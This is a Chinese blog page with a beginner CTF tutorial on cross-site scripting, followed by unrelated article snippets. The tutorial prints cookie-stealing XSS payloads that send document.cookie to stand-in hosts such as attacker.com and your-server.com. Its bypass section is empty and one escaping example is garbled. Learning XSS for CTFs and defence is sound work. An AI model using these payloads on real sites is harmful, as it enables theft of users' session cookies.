news 2026/6/10 14:31:45

CTF Web 专项:XSS 跨站脚本攻击快速入门

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CTF Web 专项:XSS 跨站脚本攻击快速入门

CTF Web 专项:XSS 跨站脚本攻击快速入门

XSS(Cross - Site Scripting,跨站脚本攻击)是 Web 安全领域的核心考点,其本质是攻击者向 Web 页面注入恶意脚本(像 JavaScript 脚本),当用户访问该页面时,脚本会被浏览器执行,进而实现窃取用户信息、控制用户行为等目的。在 CTF(夺旗赛)中,常通过 XSS 来获取 Cookie、伪造操作等以拿到 Flag,下面快速讲解核心要点。

一、XSS 核心原理

Web 应用若未对用户输入(比如评论内容、搜索框输入、URL 参数等)进行过滤或者转义处理,攻击者注入的脚本就会被嵌入到页面的源码里。当其他用户访问这个页面时,浏览器会把恶意脚本当作合法代码来执行,从而达成攻击目的(例如窃取 Cookie、进行弹窗诈骗等)。

二、3 类常见 XSS 类型

(一)反射型 XSS

特点:恶意脚本是通过 URL 参数注入的,页面会 “反射” 执行该脚本,且不会持久存储脚本。

CTF 场景:假设 URL 中包含?name=xxx这样的参数,注入<script>alert(1)</script>,当访问这个 URL 时,脚本就会被执行,弹出警告框。

(二)存储型 XSS

特点:恶意脚本会被存储到服务器(比如数据库、文件等地方),所有访问该页面的用户都会触发这个脚本。

CTF 场景:以留言板功能为例,注入<script>document.location='``http://attacker.com/steal?cookie=``'+document.cookie</script>,当管理员查看留言时,Cookie 就会被发送到攻击者的服务器。

(三)DOM 型 XSS

特点:通过修改页面的 DOM 结构来执行脚本,和服务端交互没有关系,属于纯前端漏洞。

CTF 场景:页面中存在document.write(location.hash.substr(1))这样的代码,构造 URL#<script>alert(1)</script>,脚本会被写入页面并执行。

三、CTF 实战:从注入到拿 Flag

以 “反射型 XSS 拿 Flag(目标:窃取管理员 Cookie,Cookie 中包含 Flag)” 为例:

  1. 构造 payload:编写用于窃取 Cookie 的脚本,例如<script>document.location='``http://your-server.com/steal?cookie=``'+document.cookie</script>
  2. 注入 payload:在 URL 参数(比如?name=<script>...</script>)中注入该脚本,生成恶意链接。
  3. 诱导触发:让管理员点击这个恶意链接(在 CTF 中,常因为 “管理员会查看所有提交内容” 的规则,直接提交链接就可触发)。
  4. 获取 Flag:当管理员访问后,包含Flag{xxx}的 Cookie 会发送到your-server.com,从而拿到 Flag。

四、绕过与防御思路

(一)绕过过滤

如果前端或者服务端过滤了<script>等关键字,可通过以下方式绕过:

(二)防御核心

服务端要对用户输入进行严格的过滤、转义(比如把<转成<),或者前端使用CSP(内容安全策略)来限制脚本的来源。

文章来自网上,侵权请联系博主

互动话题:如果你想学习更多网安方面的知识和工具,可以看看以下题外话!

网络安全学习资源

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我们和网安大厂360共同研发的的网安视频教程,内容涵盖了入门必备的操作系统、计算机网络和编程语言等初级知识,而且包含了中级的各种渗透技术,并且还有后期的CTF对抗、区块链安全等高阶技术。总共200多节视频,100多本网安电子书,最新学习路线图和工具安装包都有,不用担心学不全。

🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/10 11:12:47

day77(2.5)——leetcode面试经典150

77. 组合 77. 组合 java和c果然还是不太一样&#xff0c;这个对象是同一个地址一定要注意 题目&#xff1a; 题解&#xff1a; class Solution {boolean[] flag;List<List<Integer>> list;void dfs(int x, int start, int n, int k, List<Integer> l) {i…

作者头像 李华
网站建设 2026/6/10 11:09:38

金蝶云·苍穹开发者工具概述

金蝶云苍穹开发者工具概述 金蝶云苍穹开发者工具是为企业级应用开发设计的低代码/全代码一体化平台&#xff0c;支持快速构建云端SaaS应用、微服务及扩展功能。其核心定位是降低开发门槛&#xff0c;提升企业数字化系统的开发效率。 核心功能 低代码开发 提供可视化设计器&a…

作者头像 李华
网站建设 2026/6/10 11:14:34

实测Agent Skills,一次编写,全网通用

昨天&#xff0c;Google 的 Antigravity 正式宣布支持 Agent Skills 了。 好多人可能不知道 Antigravity&#xff0c;谷歌起名字还是一如既往的拉&#xff0c;英文名字是真难读&#xff0c;中文名字可以叫它 反重力。 它是 Google 伴随 Gemini 3 Pro 推出的 AI IDE&#xff0…

作者头像 李华
网站建设 2026/6/10 11:10:50

Java赋能旅行:攻略搭子手册全场景覆盖

以下是一个基于Java技术栈的旅行全场景覆盖解决方案&#xff0c;通过整合智能攻略生成、社交搭子匹配、实时协作管理、本地化服务推荐等核心功能&#xff0c;结合微服务架构与AI算法&#xff0c;为用户提供从行程规划到旅行体验的全流程数字化服务&#xff1a;一、系统架构设计…

作者头像 李华
网站建设 2026/5/19 18:02:48

Java赋能教练课:培训排课一站式解决方案

以下是为教练培训行业量身打造的 Java一站式排课解决方案&#xff0c;整合 资源管理、智能算法、多端协同、数据分析 等核心功能&#xff0c;助力机构实现高效、精准、灵活的课程调度&#xff1a; 一、方案核心价值 全流程自动化 从课程需求提交到排课结果生成&#xff0c;全程…

作者头像 李华